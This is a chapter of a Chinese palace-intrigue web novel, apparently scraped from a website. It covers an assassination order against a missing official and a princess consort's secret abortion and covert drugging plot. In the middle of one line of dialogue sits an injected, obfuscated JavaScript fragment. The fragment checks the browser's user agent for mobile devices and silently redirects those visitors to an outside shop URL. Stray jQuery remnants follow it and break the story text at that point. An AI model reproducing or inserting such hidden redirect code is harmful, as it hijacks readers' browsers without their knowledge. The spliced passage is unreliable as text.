同俭堂。
叶端疾步入了内室。
“全先生着急见我,可是漠州有消息了?”
全先生递上一封书信:“正是。苏公派去的人,在漠州与北江、兆烈三国交界一线,发现了娄玉鞍的踪迹……”
叶端闻言,连忙接过信笺看,眉头又猝然凝起。
“……让他跑了……”
全先生道:“姑娘莫急,至少能够证明他还活着,并非战死殉国。当日众多将士无一生还,他能安然无恙,必定知道些什么。”
“嗯。”叶端点着头,轻叹道,“是啊,说明我们的猜想都是正确的。”
全先生颔首:“就是……恐怕他会有所防备,蛰居一处不出来。”
叶端垂眸沉思片刻,道:“那就打草惊蛇!我们找不到他,他的主子总能找到他。”
秋夜风寒,枝头瑟瑟,浓云飘飘然遮挡住月色。
安和宫里,温言成眸光一凛,“砰”一下把手中茶盏重重放在桌上。
她起身:“你说什么?娄玉鞍……没死?”
陆兼拱着手:“是,娘娘派去漠州的人回禀,说在边境看见了娄监战使,似乎有人在寻他。”
“是谁在寻他?”
“身份尚未查清。”
温言成慢慢踱步:“定是叶壹,漠州一战,他定看出了什么……娄玉鞍还活着,始终是个变数……”
她忽而转身,盯着陆兼:“你去替我做件事!……”
“是。”
物华宫。
卫善搁笔,端详着眼前的画像,道着:“你可让人告诫过娄玉鞍,暂时不要出来招人耳目?”
周复躬身:“是,属下让人与他说过……应是过去一年的时间,他有些松懈了。”
“松懈?”卫善轻哼,“那就别怪别人不给他活路,是他自寻死路。告诉陆兼,就让他照太后之命,该杀就杀。”
“这……”周复犹豫,“主子,娄玉鞍若是死了,到时候,谁能与北江那边传信?”
卫善抬眸:“你忘了那个遗腹子了?”
周复恍然:“是,属下明白。”
“柳家商路准备如何了?何时能将延胡的东西运来?”
周复面色为难:“回主子,商路已通,只是……延胡那边……周相抓了他们的人,延胡说要等这边放人,那边才会恢复运输。”
“哼!”卫善不屑,“这群鼠目寸光之辈。延胡那么多皇子呢,他当真以为我们非他不可了?”
“主子所言极是,只不过,若要派人重新与其他皇子联络,怕是会耽搁一段时日,绝未丹可就不够两人的用量了。”
卫善不假思索:“等陆兼去了漠州,他儿子与我们也就无用了。”
周复颔首:“属下明白。”
门被人推开,柳妙端着药走了进来。
周复面色立时起了戒备之色,牢牢盯着柳妙的一举一动。
柳妙不慌不忙,任凭周复看着自己。她把药端到卫善面前:“殿下,该吃药了。”
卫善勾着嘴角温和一笑,仰面便将碗中苦药一饮而尽。
“你不知我与殿下谈话时,不许人进来打搅吗?”周复厉声道。
柳妙微微侧身,看着周复:“周公子不该尊我为启王妃吗?”
周复看看卫善,便朝柳妙拱手,草草施了一礼。
柳妙对卫善道:“殿下见谅,妾身怕药凉了影响药效,一时心急,打断了殿下的谈话,望殿下恕罪。”
卫善道:“无妨,本王与周公子也已谈完,不妨事。”
柳妙无辜地看了看周复:“既然话已谈完,周公子为何还在?周公子可知,你在物华宫多待一刻,殿下便多一分危险?”
周复面色陡然凶狠,他一步上前,不顾卫善的脸色,愤恨道:“柳妙,你以为你能活着回来,我就不敢再杀你了吗?”
“放肆!”卫善拉退柳妙,双眸犀利地盯着周复。
柳妙轻笑一声,收起空了的药碗,退出门去。
“你已违逆过我一次,还要再违逆一次吗?”卫善冷冷看着周复,声音隐隐颤抖。
周复眸子一红,顿首:“不敢。”
他抬头:“属下想要提醒主子,我杀人从未失手过,柳妙如何能死里逃生,殿下就一点儿都不怀疑吗?”
卫善摇摇头:“你能有此一问,便是小看了叶端的能力。叶端能从太后的刀下救下叶壹,从你的刀下救走柳妙又有何难?我也想劝你一句,两军交战,轻敌是大忌。”
厨房里,柳妙检查完明日卫善的用药,忽而一阵恶心,忍不住干呕起来。
她面色一瞬变得惨白,手掌撑在桌案上,指尖深深掐入木头中去,直到渗出血来。
秋高气爽,树上的叶子几乎一夜之间尽数变黄。
卫善依旧每日坐在廊下逗弄着鸟儿。
柳妙收拾书桌,便见桌上那幅展开的画像。那是卫善画的她,画得很像,但在脸颊几处稍有差别。
柳妙静看一会儿,提笔在画上改了起来。
卫善进来,柳妙便拿起修改的画像展示给他看:“妾身为殿下修改几处,殿下看看可好?”
卫善端详片刻,目露喜色:“自是好的,夫人一改,就能看出差距了。”他目不转睛地看着画像,喃喃道:“改得真好……”
柳妙忽而兴起:“殿下可愿让我为你作一副画?”
卫善一怔,继而眸光大亮:“求之不得。”
物华宫内外落满落叶,本该有人打扫,但卫善与柳妙觉得落叶铺地别有一番韵味,就任凭落叶堆在墙角,故而物华宫所视之处,一片金灿灿。
加之日光正好,物华宫上下尽显祥和。
卫善如往常般坐在廊下,柳妙展着画卷,认真作着画。
很快,画上的卫善逐渐显现,温和的目光看着柳妙。
柳妙笔尖稍顿,看着画上的卫善,一时失神。
“如何?”卫善转着轮椅走来,“是何处出了错?”
“没……没有。”柳妙慌乱解释,“我只是从没想过,会再拿起画笔。”她搁笔,拿起画作递给卫善。
卫善视线落在画上,许久未语。
柳妙小心道:“这是多年来,我画的第一幅画,若有何处画得不好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832882|186447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,还请殿下见谅。”
卫善摇摇头,抬眸看着柳妙:“不是不好。”他握起柳妙的手,“是我庆幸,你放下了心事。”
柳妙看着卫善的眼睛,抿嘴笑着,忽而心中一丝抽痛。
日头西转,太医院一阵忙碌过后,稍稍清闲了些。
香红正要下值,一转头,便见柳妙走了进来。
“微臣见过启王妃。”香红迎上前去,与柳妙施礼。
柳妙连忙扶起香红,将她带去一旁。
“香红姐姐怎可与我行礼?”
“你如今的身份是启王妃,我自是该与你行礼。”香红拉起柳妙的手腕,关切地问道,“你来找我,可是有何要事?”
柳妙故作轻松地笑笑:“也不是什么要事,就是……相与香红姐姐求个方子……”
她垂眸:“不瞒姐姐,我月事推迟已有两月,昨日又直犯恶心……”
四方木桌上,碗中药汤热气腾腾。
柳锦轻声道:“妙妙,你可想好了?”
“嗯。”柳妙点点头,便将碗中汤药一饮而尽。
她放下碗,指尖却忍不住颤抖起来。她嘴角含着笑意,眉心紧锁,目光盯在已空了的碗上。
她垂头,渐渐抽泣起来。
柳锦轻轻揽过她的肩膀,柔声安抚着,自己也忍不住落下眼泪。
“都怪姐姐无用,保护不了你。”柳锦自责地道着。
柳妙摇着头,试去眼角泪痕:“是我自己的选择,怎能怪姐姐?”
她直起身:“我就是怕……怕我分不出真情假意。我怕我真的信了启王,更怕自己分辨不出心里到底哪些是真的、哪些是假的……”她看着柳锦,泪如雨下,“姐姐,我怕……呜呜——”
柳锦紧紧拥起她:“不会的、不会的。姐姐知道你,你一定不会的……”
天色渐渐暗下,柳锦为静坐在窗下的柳妙披一件氅衣。
她心中酸涩,柳妙一向活泼爱闹,可如今,她却时常一人安静地坐在角落里发呆。
“妙妙,喝了那药,得记得保暖,千万别着了凉!”
柳妙未语,默默地点了点头。
柳锦又取出一盒药丸:“这是香红姐姐要我转交给你的。你不想留启王的骨肉,以后不必折磨自己的身子,就把这个添到启王每日的用药中,其他的……不会有影响。”
柳妙低头看看柳锦手中的药盒,轻声应着接下。
锦园。
叶端正看着卫衡新交给她的兵书,就听斓儿来报。
“姑娘,陶公子说,他今日上山采药采到了一株续来草,特让奴婢来给姑娘报喜呢。”
叶端一听,放下手中书卷,便往宴涯阁去。
宴涯阁的院子里正灯火通明,锅、碗器具一应俱全,桌子上摊开摆放着各种书卷,上边有的记载续来草的用法,有的只是浅浅提起一两个字……
“谨义,你来得正好。瞧,新鲜的续来草。”陶之洋洋得意地向叶端展示着自己的收获,“我来调配解药,你来记录,若是还不成,也好知道何处出了问题。”
“哎。”叶端爽快应下。